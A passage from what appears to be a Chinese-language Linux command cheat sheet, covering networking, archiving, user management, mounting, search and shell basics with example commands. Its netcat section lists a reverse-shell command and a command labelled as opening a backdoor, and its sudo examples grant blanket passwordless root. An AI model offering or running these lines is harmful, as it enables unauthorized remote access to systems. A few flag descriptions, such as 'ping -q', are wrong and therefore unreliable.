# 查看命令详细信息
info ls

# 查看导航帮助
info

# 搜索关键字
info --apropos keyword

适用场景: man 看完还不懂时,试试 info


whatis - 一句话说明命令

这条命令的意思是:"用一句话告诉你这条命令是干什么的。"

详细拆解:

部分 含义 作用
whatis 这是什么 命令的简短说明

常用命令示例:

# 基本用法
whatis ls

# 多个命令
whatis ls grep sed

# 配合管道
echo "ls grep sed" | xargs whatis

适用场景: 快速查命令用途,如 whatis tar


apropos - 搜索相关命令

这条命令的意思是:"输入一个关键词,找出所有跟这个词相关的手册条目。"

详细拆解:

部分 含义 作用
apropos 关于 在手册中搜索关键词(来自法语)

常用命令示例:

# 搜索相关命令
apropos network

# 搜索配置文件相关
apropos "config"

# 使用正则表达式
apropos -e "copy"

适用场景: 不知道要用什么命令时,输入想做的事,如 apropos network


4. 网络命令

ping - 测试网络连接

这条命令的意思是:"向目标地址发送一个小数据包,测试网络是否通。"

详细拆解:

部分 含义 作用
ping Packet InterNet Groper 检测网络连通性(模拟声纳"ping"声)

常用命令示例:

# 基本用法
ping 8.8.8.8

# ping 域名
ping google.com

# 指定次数后停止
ping -c 4 8.8.8.8

# 指定时间间隔(秒)
ping -i 2 8.8.8.8

# 指定数据包大小
ping -s 1000 8.8.8.8

# 快速ping(不等待响应)
ping -f 8.8.8.8

# 显示详细统计信息
ping -q 8.8.8.8

# 设置TTL
ping -t 64 8.8.8.8

适用场景: 确认某台服务器是否能连上,如 ping 8.8.8.8


curl - 命令行下载工具

这条命令的意思是:"从URL获取数据,能发送请求、下载文件、测试API。"

详细拆解:

部分 含义 作用
curl Client URL 客户端URL工具

常用命令示例:

# 下载网页内容
curl https://example.com

# 保存到文件
curl -o output.html https://example.com

# 下载文件(使用远程文件名)
curl -O https://example.com/file.zip

# 显示响应头
curl -I https://example.com

# 显示完整响应(包括头)
curl -i https://example.com

# 发送 POST 请求
curl -X POST -d "name=value" https://api.example.com

# 发送 JSON 数据
curl -X POST -H "Content-Type: application/json" \
     -d '{"key":"value"}' https://api.example.com

# 设置请求头
curl -H "Authorization: Bearer token" https://api.example.com

# 跟随重定向
curl -L https://example.com

# 显示下载进度
curl -# -O https://example.com/file.zip

# 超时设置
curl --max-time 10 https://example.com

# 忽略 SSL 证书错误
curl -k https://example.com

# 静默模式
curl -s https://example.com

# 配合管道使用
curl -s https://api.example.com | jq

适用场景: 测试API接口、下载文件,如 curl https://api.example.com


wget - 递归下载工具

这条命令的意思是:"把网页或文件下载到本地,支持断点续传。"

详细拆解:

部分 含义 作用
wget World Wide Web get 从网络获取文件

常用命令示例:

# 下载文件
wget https://example.com/file.zip

# 下载并保存为指定名字
wget -O output.zip https://example.com/file.zip

# 后台下载
wget -b https://example.com/file.zip

# 断点续传
wget -c https://example.com/largefile.zip

# 递归下载整站
wget -r -np https://example.com/

# 限制下载深度
wget -r -l 2 https://example.com/

# 下载多个文件
wget -i filelist.txt

# 显示下载进度
wget --show-progress https://example.com/file.zip

# 设置重试次数
wget --tries=3 https://example.com/file.zip

# 设置用户名密码
wget --user=username --password=pass https://example.com/file.zip

适用场景: 下载大文件、整站下载,如 wget -r https://example.com


ssh - 加密远程登录

这条命令的意思是:"通过加密通道远程连接到另一台Linux服务器。"

详细拆解:

部分 含义 作用
ssh Secure Shell 加密远程登录协议

常用命令示例:

# 基本连接
ssh user@192.168.1.100

# 指定端口
ssh -p 2222 user@192.168.1.100

# 使用密钥登录
ssh -i ~/.ssh/mykey.pem user@192.168.1.100

# 执行单个命令
ssh user@192.168.1.100 "ls -la"

# 远程执行命令并获取结果
ssh user@192.168.1.100 "df -h" > local_output.txt

# 跳板机(通过一台服务器连接另一台)
ssh -J jump_user@jump_server user@target_server

# 显示详细连接信息
ssh -v user@192.168.1.100

# 压缩数据传输
ssh -C user@192.168.1.100

# 保持连接(防止超时)
ssh -o ServerAliveInterval=60 user@192.168.1.100

# X11 转发(图形界面)
ssh -X user@192.168.1.100

适用场景: 远程管理服务器,如 ssh user@192.168.1.100


scp - 加密文件传输

这条命令的意思是:"通过SSH通道把文件安全地复制到远程服务器(或从远程拉回来)。"

详细拆解:

部分 含义 作用
scp Secure Copy 基于SSH的安全复制

常用命令示例:

# 上传文件到远程服务器
scp file.txt user@192.168.1.100:/remote/path/

# 从远程服务器下载文件
scp user@192.168.1.100:/remote/path/file.txt ./

# 指定端口
scp -P 2222 file.txt user@192.168.1.100:/path/

# 使用密钥文件
scp -i ~/.ssh/mykey.pem file.txt user@192.168.1.100:/path/

# 递归复制整个目录
scp -r /local/dir user@192.168.1.100:/remote/path/

# 多个文件一起传
scp file1.txt file2.txt user@192.168.1.100:/path/

# 保持文件属性
scp -p file.txt user@192.168.1.100:/path/

# 显示详细信息
scp -v file.txt user@192.168.1.100:/path/

# 限速传输(KB/s)
scp -l 1000 file.txt user@192.168.1.100:/path/

适用场景: 本地和服务器之间安全传输文件,如 scp file.txt user@host:/path/


sftp - 安全文件传输

这条命令的意思是:"类似FTP但走SSH加密通道,可以交互式上传下载文件。"

详细拆解:

部分 含义 作用
sftp SSH File Transfer Protocol 安全文件传输协议

常用命令示例:

# 连接远程服务器
sftp user@192.168.1.100

# 指定端口
sftp -P 2222 user@192.168.1.100

# 使用密钥连接
sftp -i ~/.ssh/mykey.pem user@192.168.1.100

# 交互命令:
# get remote.txt     下载文件
# put local.txt      上传文件
# ls                 列出远程目录
# cd /path           切换远程目录
# lcd /path          切换本地目录
# pwd                显示远程当前目录
# lpwd               显示本地当前目录
# rm file.txt        删除远程文件
# mkdir dirname      创建远程目录
# exit               退出

# 批量下载
sftp user@192.168.1.100 << EOF
get file1.txt
get file2.txt
bye
EOF

适用场景: 需要交互式操作文件时,比 scp 更适合目录同步。


telnet - 远程登录(明文)

这条命令的意思是:"远程连接到服务器,但通信不加密(已被SSH取代)。"

详细拆解:

部分 含义 作用
telnet TELecommunication NETwork 电信网络协议

常用命令示例:

# 连接远程服务器(明文通信,不推荐)
telnet 192.168.1.100

# 连接指定端口(测试端口是否开放)
telnet 192.168.1.100 22
telnet mail.example.com 25

# 退出 telnet
quit
# 或按 Ctrl+]

适用场景: 仅用于测试端口是否开放,如 telnet 192.168.1.100 22


netstat - 查看网络状态

这条命令的意思是:"显示系统的网络连接状态,包括正在监听的端口和已建立的连接。"

详细拆解:

部分 含义 作用
netstat network statistics 网络统计信息

常用命令示例:

# 显示所有连接
netstat -a

# 显示 TCP 连接
netstat -t

# 显示 UDP 连接
netstat -u

# 显示监听中的端口
netstat -l

# 显示进程信息
netstat -p

# 以数字形式显示(IP和端口)
netstat -n

# 组合使用
netstat -tlnp                # TCP 监听端口
netstat -tunp                # 所有 TCP/UDP 连接
netstat -an | grep 3306      # 检查 MySQL 端口

# 显示路由表
netstat -r

# 显示网络接口统计
netstat -i

# 显示核心路由信息
netstat -rn

适用场景: 查看服务是否在监听端口,如 netstat -tlnp | grep 80


ifconfig - 查看/配置网卡

这条命令的意思是:"查看或修改网络接口(网卡)的IP地址和配置。"

详细拆解:

部分 含义 作用
ifconfig interface configuration 网络接口配置

常用命令示例:

# 查看所有网卡信息
ifconfig

# 查看特定网卡
ifconfig eth0

# 启动网卡
ifconfig eth0 up

# 禁用网卡
ifconfig eth0 down

# 设置 IP 地址
ifconfig eth0 192.168.1.100

# 设置 IP 和子网掩码
ifconfig eth0 192.168.1.100 netmask 255.255.255.0

# 设置广播地址
ifconfig eth0 broadcast 192.168.1.255

# 配置多个 IP
ifconfig eth0:0 192.168.1.101

# 显示网卡状态
ifconfig -a

适用场景: 快速查看IP、启用/禁用网卡(新版Linux推荐用 ip 命令)。


ip - 现代网络配置

这条命令的意思是:"新一代网络配置工具,功能比 ifconfig 更强大。"

详细拆解:

部分 含义 作用
ip Internet Protocol 网络协议配置

常用命令示例:

# 查看 IP 地址
ip addr show
ip a

# 查看特定网卡
ip addr show eth0

# 添加 IP 地址
ip addr add 192.168.1.100/24 dev eth0

# 删除 IP 地址
ip addr del 192.168.1.100/24 dev eth0

# 启用网卡
ip link set eth0 up

# 禁用网卡
ip link set eth0 down

# 查看路由表
ip route show
ip r

# 添加默认路由
ip route add default via 192.168.1.1

# 删除路由
ip route del default

# 查看 ARP 表
ip neigh show

# 添加 ARP 条目
ip neigh add 192.168.1.100 lladdr aa:bb:cc:dd:ee:ff dev eth0

# 查看网络统计
ip -s link

适用场景: 查看IP、添加删除路由、管理网卡(现代Linux发行版推荐使用)。


traceroute - 追踪路由

这条命令的意思是:"显示你的数据包到达目标服务器经过的每一跳(每一个路由节点)。"

详细拆解:

部分 含义 作用
traceroute trace route 追踪路由路径

常用命令示例:

# 基本用法
traceroute google.com

# 指定最大跳数
traceroute -m 20 google.com

# 指定超时时间
traceroute -w 3 google.com

# 使用 ICMP 协议
traceroute -I google.com

# 显示 IP 地址(不解析主机名)
traceroute -n google.com

# 绕过路由表(直接发送)
traceroute -r google.com

# Windows 用法(Windows 默认命令是 tracert)
tracert google.com

适用场景: 网络延迟高时排查问题,看数据包在哪一站卡住了。


nslookup - 查询DNS

这条命令的意思是:"查询域名对应的IP地址(DNS解析)。"

详细拆解:

部分 含义 作用
nslookup name server lookup 域名服务器查询

常用命令示例:

# 基本查询
nslookup google.com

# 查询特定 DNS 服务器
nslookup google.com 8.8.8.8

# 查询 MX 记录
nslookup -type=mx google.com

# 查询 CNAME 记录
nslookup -type=cname www.google.com

# 交互模式
nslookup
> server 8.8.8.8
> google.com
> exit

适用场景: 确认域名是否解析正确,如 nslookup example.com


dig - 详细DNS查询

这条命令的意思是:"比 nslookup 更详细的DNS查询工具,能查看完整的DNS记录。"

详细拆解:

部分 含义 作用
dig Domain Information Groper 域名信息探针

常用命令示例:

# 基本查询
dig google.com

# 只显示简答部分
dig +short google.com

# 查询 A 记录
dig A google.com

# 查询 MX 记录
dig MX google.com

# 查询 NS 记录
dig NS google.com

# 查询 TXT 记录
dig TXT google.com

# 指定 DNS 服务器
dig @8.8.8.8 google.com

# 显示完整查询过程
dig +trace google.com

# 查询 SOA 记录
dig SOA google.com

# 反向查询
dig -x 142.250.185.78

# 显示查询统计
dig +stats google.com

适用场景: 查询域名的A记录、MX记录等详细DNS信息。


nc/netcat - 网络瑞士军刀

这条命令的意思是:"网络界的瑞士军刀,能建立TCP/UDP连接、传输文件、扫描端口。"

详细拆解:

部分 含义 作用
nc / netcat network cat 网络工具箱

常用命令示例:

# 测试端口连通性
nc -zv 192.168.1.100 22

# 扫描端口范围
nc -zv 192.168.1.100 20-30

# 开启监听模式
nc -l 8080

# 简单的聊天服务器
nc -l -p 8080

# 传送文件(接收端先开监听)
nc -l -p 8080 > received_file.txt
# 发送端
nc 192.168.1.100 8080 < file_to_send.txt

# 反向 shell
nc -e /bin/bash 192.168.1.100 8080

# 创建后门
nc -l -p 8080 -e /bin/bash

# 设置超时
nc -w 3 192.168.1.100 8080

# UDP 模式
nc -u 192.168.1.100 8080

适用场景: 快速测试端口连通性、在两台机器间传文件。


5. 压缩归档命令

tar - 打包文件

这条命令的意思是:"把多个文件或文件夹打包成一个大文件(归档),可以加上压缩。"

详细拆解:

部分 含义 作用
tar tape archive 磁带归档(虽已不用磁带,名字保留)

常用命令示例:

# 创建归档(-c 创建,-v 显示过程,-f 指定文件名)
tar -cvf archive.tar /path/to/dir

# 创建 gzip 压缩归档
tar -czvf archive.tar.gz /path/to/dir

# 创建 bzip2 压缩归档
tar -cjvf archive.tar.bz2 /path/to/dir

# 创建 xz 压缩归档
tar -cJvf archive.tar.xz /path/to/dir

# 解压归档
tar -xvf archive.tar
tar -xzvf archive.tar.gz
tar -xjvf archive.tar.bz2

# 解压到指定目录
tar -xzvf archive.tar.gz -C /target/dir

# 查看归档内容(不解压)
tar -tvf archive.tar

# 解压特定文件
tar -xzvf archive.tar.gz file1.txt

# 追加文件到归档
tar -rvf archive.tar newfile.txt

# 排除某些文件
tar -czvf archive.tar.gz /path --exclude="*.log"

# 只打包某几个目录
tar -czvf backup.tar.gz /home/user/documents /home/user/photos

适用场景: 备份文件夹、分发代码包,如 tar -czvf backup.tar.gz /path/


gzip/gunzip - gzip压缩解压

这条命令的意思是:"压缩文件使其变小,或解压被压缩的文件。"

详细拆解:

部分 含义 作用
gzip GNU zip GNU项目开发的压缩工具
gunzip GNU unzip 解压gzip文件

常用命令示例:

# 压缩文件(会删除原文件)
gzip file.txt

# 压缩并显示压缩比
gzip -v file.txt

# 解压文件(会删除压缩包)
gunzip file.txt.gz

# 解压到指定文件
gunzip -c file.txt.gz > newfile.txt

# 压缩保留原文件
gzip -c file.txt > file.txt.gz

# 压缩级别(1-9,9 压缩率最高)
gzip -9 file.txt
gzip -1 file.txt

# 递归压缩目录下所有文件
gzip -r /path/to/dir

# 显示压缩文件信息
gzip -l file.txt.gz

# 测试压缩文件完整性
gzip -t file.txt.gz

适用场景: 压缩日志文件节省空间,如 gzip log.txt


zip/unzip - zip压缩解压

这条命令的意思是:"创建或解压Windows常用的zip格式压缩包。"

详细拆解:

部分 含义 作用
zip 压缩 创建zip压缩包
unzip 解压 解压zip压缩包

常用命令示例:

# 创建 zip 压缩包
zip archive.zip file1.txt file2.txt

# 压缩目录
zip -r archive.zip /path/to/dir

# 压缩并排除某些文件
zip -r archive.zip /path --exclude "*.log"

# 设置压缩级别(1-9)
zip -9 archive.zip file.txt

# 更新/追加文件
zip -u archive.zip newfile.txt

# 删除压缩包中的文件
zip -d archive.zip oldfile.txt

# 查看压缩包内容
unzip -l archive.zip

# 解压到指定目录
unzip archive.zip -d /target/dir

# 解压到当前目录
unzip archive.zip

# 解压特定文件
unzip archive.zip file1.txt

# 测试压缩包完整性
unzip -t archive.zip

# 覆盖已有文件(不提示)
unzip -o archive.zip

# 密码保护解压
unzip -P password archive.zip

适用场景: Windows和Linux之间传输文件时用zip格式更通用。


bzip2 - 高压缩比压缩

这条命令的意思是:"比gzip压缩率更高的压缩工具。"

详细拆解:

部分 含义 作用
bzip2 Burrows-Wheeler transform + zip2 使用BW变换算法

常用命令示例:

# 压缩文件
bzip2 file.txt

# 解压文件
bunzip2 file.txt.bz2

# 压缩保留原文件
bzip2 -k file.txt

# 显示压缩详情
bzip2 -v file.txt

# 解压到指定文件
bunzip2 -c file.txt.bz2 > newfile.txt

# 测试压缩包
bzip2 -t file.txt.bz2

适用场景: 需要更小压缩包时(压缩慢但压缩率高)。


xz - 最高压缩比

这条命令的意思是:"压缩率最高的压缩工具,但速度较慢。"

详细拆解:

部分 含义 作用
xz 算法名 使用LZMA算法

常用命令示例:

# 压缩文件
xz file.txt

# 解压文件
xz -d file.txt.xz
unxz file.txt.xz

# 压缩保留原文件
xz -k file.txt

# 设置压缩级别(0-9)
xz -9 file.txt

# 解压到指定文件
xz -dc file.txt.xz > newfile.txt

# 递归压缩
xz -r /path/to/dir

# 查看压缩包信息
xz -l file.txt.xz

# 测试压缩包
xz -t file.txt.xz

适用场景: 需要极致压缩时(如发布软件包),比bzip2和gzip都小。


6. 用户和权限命令

useradd/usermod/userdel - 用户管理

这条命令的意思是:"添加新用户 / 修改已有用户 / 删除用户。"

详细拆解:

部分 含义 作用
useradd user add 创建新用户
usermod user modify 修改用户属性
userdel user delete 删除用户

常用命令示例:

# 创建新用户
useradd newuser

# 创建用户并指定家目录
useradd -m newuser

# 创建用户并指定 shell
useradd -s /bin/bash newuser

# 创建用户并指定用户组
useradd -g groupname newuser

# 创建用户并指定 UID
useradd -u 1500 newuser

# 修改用户 shell
usermod -s /bin/zsh username

# 修改用户组
usermod -g groupname username

# 添加用户到附加组
usermod -aG sudo,www-data username

# 修改用户家目录
usermod -d /new/home -m username

# 锁定用户(禁止登录)
usermod -L username

# 解锁用户
usermod -U username

# 删除用户(保留家目录)
userdel username

# 删除用户并删除家目录
userdel -r username

适用场景: 添加系统用户、修改用户组、删除离职员工账号。


groupadd/groupmod/groupdel - 用户组管理

这条命令的意思是:"添加新用户组 / 修改组 / 删除组。"

详细拆解:

部分 含义 作用
groupadd group add 创建新用户组
groupmod group modify 修改组属性
groupdel group delete 删除用户组

常用命令示例:

# 创建新用户组
groupadd developers

# 创建系统用户组(低 UID)
groupadd -r systemgroup

# 修改组名
groupmod -n newname oldname

# 修改 GID
groupmod -g 1500 groupname

# 删除用户组
groupdel groupname

# 查看用户所属组
groups username

# 查看所有组
cat /etc/group

适用场景: 按部门或项目创建用户组,方便统一管理权限。


passwd - 修改密码

这条命令的意思是:"设置或更改用户密码。"

详细拆解:

部分 含义 作用
passwd password 密码

常用命令示例:

# 修改当前用户密码
passwd

# 修改指定用户密码(root)
passwd username

# 锁定用户密码(禁止登录)
passwd -l username

# 解锁用户密码
passwd -u username

# 删除用户密码(无密码登录)
passwd -d username

# 查看密码状态
passwd -S username

# 设置密码过期时间
passwd -x 90 username    # 90天后过期
passwd -n 7 username    # 至少7天后才能改
passwd -w 10 username    # 提前10天提醒

# 非交互式设置密码(脚本用)
echo "username:password" | chpasswd
echo "username:newpass" | chpasswd

适用场景: 用户自己改密码,或管理员重置用户密码。


su - 切换用户

这条命令的意思是:"切换到另一个用户身份(需要知道对方密码)。"

详细拆解:

部分 含义 作用
su switch user / substitute user 切换/替代用户

常用命令示例:

# 切换到 root 用户
su

# 切换到指定用户
su username

# 切换到用户并加载其环境
su - username

# 以特定用户运行命令
su -c "command" username

# 切换到 root 并加载 root 环境
su -

适用场景: 需要用其他用户身份操作时,如 su - root 切换到root。


sudo - 以管理员身份执行

这条命令的意思是:"用管理员权限执行一条命令,但不需要知道root密码。"

详细拆解:

部分 含义 作用
sudo substitute user do 以其他用户身份执行

常用命令示例:

# 以 root 权限执行
sudo systemctl restart nginx

# 以指定用户执行
sudo -u username command

# 查看当前用户 sudo 权限
sudo -l

# 以 root shell 切换
sudo -i

# 以 root 执行多条命令
sudo bash -c "command1 && command2"

# 显示 sudo 配置
sudo -ll

# 编辑文件(需要权限)
sudo -e /etc/hosts
# 或
sudoedit /etc/hosts

# 设置 sudo 免密码
sudo visudo
# 添加:username ALL=(ALL) NOPASSWD: ALL

适用场景: 普通用户需要临时root权限时,避免直接登录root。


visudo - 安全编辑sudo配置

这条命令的意思是:"用vi编辑器安全地修改sudoers配置文件(有语法检查)。"

详细拆解:

部分 含义 作用
visudo vi sudo 安全编辑sudoers

常用命令示例:

# 编辑 sudoers 文件
sudo visudo

# 添加用户 sudo 权限
username ALL=(ALL) ALL

# 添加用户组 sudo 权限
%groupname ALL=(ALL) ALL

# 设置免密码 sudo
username ALL=(ALL) NOPASSWD: ALL

# 设置特定命令 sudo 权限
username ALL=(ALL) /usr/bin/systemctl restart nginx

# 设置特定用户组免密码
%sudo ALL=(ALL) NOPASSWD: ALL

# Cmnd_Alias 示例
Cmnd_Alias NGINX = /usr/bin/systemctl restart nginx, /usr/bin/systemctl stop nginx
username ALL=(ALL) NGINX

适用场景: 配置哪些用户可以用sudo、可以用哪些命令。


7. 磁盘挂载命令

mount - 挂载文件系统

这条命令的意思是:"把一个分区或设备接入系统,让你能访问里面的文件。"

详细拆解:

部分 含义 作用
mount 挂载 将文件系统连接到目录树

常用命令示例:

# 查看所有挂载
mount

# 挂载设备到目录
mount /dev/sdb1 /mnt/usb

# 以只读方式挂载
mount -r /dev/sdb1 /mnt/usb

# 以读写方式挂载
mount -w /dev/sdb1 /mnt/usb

# 指定文件系统类型
mount -t ext4 /dev/sdb1 /mnt/usb
mount -t ntfs-3g /dev/sdb1 /mnt/usb

# 重新挂载(修改挂载选项)
mount -o remount,rw /

# 绑定挂载
mount --bind /old/dir /new/dir

# 查看挂载状态
mount | grep /mnt

# 开机自动挂载(编辑 /etc/fstab)
# /dev/sdb1 /mnt/usb ext4 defaults 0 0

适用场景: 插入U盘后挂载到系统,如 mount /dev/sdb1 /mnt/usb


umount - 卸载文件系统

这条命令的意思是:"把之前挂载的文件系统从目录树移除,安全弹出设备。"

详细拆解:

部分 含义 作用
umount unmount 卸载(注意没有字母n)

常用命令示例:

# 卸载设备
umount /mnt/usb

# 卸载设备(通过设备名)
umount /dev/sdb1

# 强制卸载(如果设备忙)
umount -f /mnt/usb

# 懒卸载(等使用完再卸载)
umount -l /mnt/usb

# 查看哪个进程在使用
lsof +f -- /mnt/usb

# 卸载并显示详细信息
umount -v /mnt/usb

适用场景: U盘拔掉前先卸载,防止数据丢失。


fdisk - 磁盘分区工具

这条命令的意思是:"创建、删除、修改磁盘分区。"

详细拆解:

部分 含义 作用
fdisk fixed/format disk 磁盘分区管理

常用命令示例:

# 查看磁盘分区表
fdisk -l

# 查看指定磁盘分区
fdisk -l /dev/sdb

# 进入交互式分区
fdisk /dev/sdb

# 常用交互命令:
# p   打印分区表
# n   新建分区
# d   删除分区
# t   改变分区类型
# w   保存并退出
# q   不保存退出

# 非交互式创建分区
echo -e "n\np\n1\n\n\nw" | fdisk /dev/sdb

# 查看分区类型
fdisk -l /dev/sdb -t

适用场景: 给新硬盘分区、查看磁盘分区表。


mkfs - 创建文件系统

这条命令的意思是:"在磁盘分区上建立文件系统(格式化)。"

详细拆解:

部分 含义 作用
mkfs make file system 创建文件系统

常用命令示例:

# 格式化为 ext4 文件系统
mkfs.ext4 /dev/sdb1

# 格式化为 ext3
mkfs.ext3 /dev/sdb1

# 格式化为 xfs
mkfs.xfs /dev/sdb1

# 格式化为 btrfs
mkfs.btrfs /dev/sdb1

# 格式化为 vfat(U 盘)
mkfs.vfat /dev/sdb1

# 快速格式化
mkfs.ext4 -F /dev/sdb1

# 设置卷标
mkfs.ext4 -L "MyDisk" /dev/sdb1

# 查看可用文件系统类型
ls /sbin/mkfs.*

适用场景: 新硬盘分区后需要格式化才能使用,如 mkfs.ext4 /dev/sdb1


fsck - 检查修复文件系统

这条命令的意思是:"检查文件系统是否有错误并尝试修复。"

详细拆解:

部分 含义 作用
fsck file system check 文件系统检查

常用命令示例:

# 检查文件系统
fsck /dev/sdb1

# 自动修复
fsck -a /dev/sdb1

# 交互式修复
fsck -r /dev/sdb1

# 强制检查
fsck -f /dev/sdb1

# 显示详细信息
fsck -V /dev/sdb1

# 检查所有文件系统
fsck -A

# 按顺序检查(避免并行)
fsck -As

# 只检查指定类型
fsck -t ext4 /dev/sdb1

# 检查前先卸载
umount /dev/sdb1
fsck /dev/sdb1

适用场景: 系统异常断电后检查修复文件系统。


8. 查找搜索命令

find - 强力文件搜索

这条命令的意思是:"从指定目录开始,按照各种条件(名字、时间、大小等)递归搜索文件。"

详细拆解:

部分 含义 作用
find 查找 最强大的文件搜索工具

常用命令示例:

# 按文件名搜索
find / -name "*.conf"
find /home -name "*.txt"

# 不区分大小写
find / -iname "*.Conf"

# 按文件类型
find / -type f      # 普通文件
find / -type d      # 目录
find / -type l      # 软链接
find / -type s      # socket

# 按目录深度
find / -maxdepth 3 -name "*.conf"

# 按权限
find / -perm 777

# 按所有者
find / -user username
find / -group groupname

# 按大小
find / -size +100M    # 大于 100M
find / -size -1G      # 小于 1G

# 按修改时间
find / -mtime -7       # 7天内修改
find / -mtime 0       # 今天修改
find / -atime +30     # 30天前访问

# 按 inode 号
find / -inum 123456

# 组合条件
find / -name "*.log" -size +100M
find / -user alice -o -user bob    # 或

# 排除目录
find / -path /proc -prune -o -name "*.conf"

# 执行命令
find / -name "*.tmp" -exec rm {} \;
find / -name "*.log" -delete

# 配合 xargs
find / -name "*.conf" | xargs grep "keyword"

# 显示详细信息
find / -name "*.conf" -ls

# 统计结果数量
find / -name "*.conf" | wc -l

适用场景: 不知道文件在哪时用 find / -name "*.conf" 全盘搜索。


locate - 快速文件定位

这条命令的意思是:"基于预先建立的索引数据库,快速查找文件(比find快很多)。"

详细拆解:

部分 含义 作用
locate 定位 基于数据库的快速搜索

常用命令示例:

# 基本搜索
locate filename

# 不区分大小写
locate -i filename

# 显示数量限制
locate -n 10 filename

# 更新索引数据库
sudo updatedb

# 查看索引数据库路径
locate --statistics

# 搜索路径中包含关键字的文件
locate -l 5 "\/home\/.*\.conf"

# 配合管道
locate -i ".conf" | grep nginx

适用场景: 日常快速找文件(需先运行 updatedb 更新索引)。


which - 查找命令位置

这条命令的意思是:"找出某个命令的完整路径(这个命令到底是什么)。"

详细拆解:

部分 含义 作用
which 哪个 查找命令的绝对路径

常用命令示例:

# 基本用法
which python

# 显示所有匹配结果
which -a python

# 显示命令类型
type python

# 查看多个命令
which python ruby perl

适用场景: 确认执行的是哪个版本,如 which python


whereis - 查找命令全方位信息

这条命令的意思是:"找出命令的可执行文件、源码和手册页的位置。"

详细拆解:

部分 含义 作用
whereis 在哪里 查找命令的多个相关信息

常用命令示例:

# 基本用法
whereis python

# 只搜索二进制
whereis -b python

# 只搜索源码
whereis -s python

# 只搜索手册
whereis -m python

# 查看返回结果
whereis -f python

适用场景: 比 which 提供更多信息,包括源码和手册位置。


type - 判断命令类型

这条命令的意思是:"判断一个名字是内置命令、外部程序还是别名。"

详细拆解:

部分 含义 作用
type 类型 判断命令类型

常用命令示例:

# 基本用法
type ls

# 显示所有类型
type -a python

# 显示命令描述
type -t if

# 示例:
# type ls        -> ls is /bin/ls
# type cd        -> cd is a shell builtin
# type nginx     -> nginx is /usr/sbin/nginx
# type ll        -> ll is an alias for ls -l

适用场景: 判断某个命令是否被自定义为别名,如 type ls


9. 管道和重定向

管道符 | - 流水线

这条命令的意思是:"把前一个命令的输出当作后一个命令的输入,像流水线一样处理数据。"

详细拆解:

部分 含义 作用
| pipe 管道,把数据传递给下一个命令

适用场景: 组合多个命令,如 ps aux | grep nginx 查找nginx进程。


输出重定向 > / >>

这条命令的意思是:"把命令的输出保存到文件(>覆盖 / >>追加)。"

详细拆解:

部分 含义 作用
> 重定向(覆盖) 把输出写入文件,覆盖原内容
>> 重定向(追加) 把输出追加到文件末尾

适用场景: 保存命令输出到文件,如 echo "hello" > file.txt


输入重定向 <

这条命令的意思是:"把文件内容作为命令的输入,而不是从键盘读取。"

详细拆解:

部分 含义 作用
< 输入重定向 将文件内容作为输入

适用场景: 让命令从文件读取数据,如 wc -l < file.txt


标准错误重定向 2>

这条命令的意思是:"把错误信息(stderr)重定向到文件,而 normal 输出(stdout)还在屏幕。"

详细拆解:

部分 含义 作用
2> 错误重定向 把错误信息写进文件

适用场景: 只保存错误日志,如 grep error log.txt 2> error.log


10. 进程和作业控制

jobs - 查看后台作业

这条命令的意思是:"显示当前终端会话里所有后台任务的列表。"

详细拆解:

部分 含义 作用
jobs 作业 列出后台任务

适用场景: 查看有哪些任务在后台挂着,配合 fg 把任务拉到前台。


fg - 拉到前台

这条命令的意思是:"把后台暂停或运行的任务恢复到前台终端。"

详细拆解:

部分 含义 作用
fg foreground 前台进程

适用场景: 后台任务需要交互时,如 fg %1 把1号任务拉到前台。


bg - 放到后台

这条命令的意思是:"把一个暂停的任务启动起来放到后台运行。"

详细拆解:

部分 含义 作用
bg background 后台进程

适用场景: SSH连接中启动的长任务,先按 Ctrl+Z 暂停,再用 bg 后台运行。


nohup - 后台持续运行

这条命令的意思是:"让命令在你退出登录后依然继续运行(忽略挂断信号)。"

详细拆解:

部分 含义 作用
nohup no hangup 不挂断

适用场景: 远程启动一个长期任务,关闭终端后任务不会停止。


nice - 调整进程优先级

这条命令的意思是:"以指定优先级启动程序,数值越低越"不占便宜",让系统更"照顾"其他进程。"

详细拆解:

部分 含义 作用
nice 友好 以较低优先级运行程序

适用场景: 运行大型备份任务时设置低优先级,不影响正常服务。


11. 其他常用命令

echo - 显示文本

这条命令的意思是:"把指定的文字输出到屏幕上(回显)。"

详细拆解:

部分 含义 作用
echo 回声 输出文本

常用命令示例:

# 基本输出
echo "Hello World"

# 输出变量
echo $PATH
echo $HOME

# 输出转义字符
echo "Line1\nLine2"
echo "Tab\tHere"

# 不换行输出
echo -n "No newline"

# 彩色输出
echo -e "\033[31mRed Text\033[0m"

# 禁用反斜杠转义
echo -E "Literal \n Text"

# 输出到文件
echo "content" > file.txt

# 追加到文件
echo "content" >> file.txt

# 显示当前日期
echo $(date)

适用场景: 打印变量、显示提示信息,如 echo $PATH


printf - 格式化打印

这条命令的意思是:"按指定格式输出文本,比echo更灵活。"

详细拆解:

部分 含义 作用
printf print formatted 格式化打印

常用命令示例:

# 基本用法
printf "Hello\n"

# 格式化输出
printf "%-10s %5d\n" "John" 25
printf "%.2f\n" 3.14159

# 转义字符
printf "Tab:\tNext\n"
printf "Unicode: ❤\n"

# 进制转换
printf "%d\n" 0xFF    # 十六进制转十进制
printf "%x\n" 255     # 十进制转十六进制

# 保留小数
printf "%.3f\n" 3.1415926

# 输出到变量
result=$(printf "%s" "hello")

适用场景: 格式化输出,如 printf "%-10s %.2f\n" "hello" 3.14


xargs - 转换命令行参数

这条命令的意思是:"把管道传来的数据转成命令行参数,一行一行喂给其他命令。"

详细拆解:

部分 含义 作用
xargs extend arguments 扩展参数

常用命令示例:

# 配合管道使用
find . -name "*.txt" | xargs rm

# 批量重命名
ls *.txt | xargs -I {} mv {} {}.bak

# 指定分隔符
echo "a,b,c" | xargs -d, echo

# 显示命令不执行(测试)
find . -name "*.tmp" | xargs -p rm

# 指定并行数
find . -name "*.log" | xargs -P 4 gzip

# 限制每行参数个数
cat list.txt | xargs -n 2 echo

# 配合 grep 使用
cat file.txt | xargs grep "keyword"

# 读取 stdin
xargs -n 1 <<< "one two three"

适用场景: 批量删除文件,如 find . -name "*.tmp" | xargs rm


alias - 设置命令别名

这条命令的意思是:"给长命令起一个短小好记的别名。"

详细拆解:

部分 含义 作用
alias 别名 设置命令的别名

常用命令示例:

# 查看所有别名
alias

# 查看特定别名
alias ll

# 创建别名(临时,当前会话有效)
alias ll='ls -la'
alias gs='git status'
alias rm='rm -i'    # 确认删除

# 创建永久别名(写入 ~/.bashrc)
echo "alias ll='ls -la'" >> ~/.bashrc
source ~/.bashrc

# 删除别名
unalias ll

# 删除所有别名
unalias -a

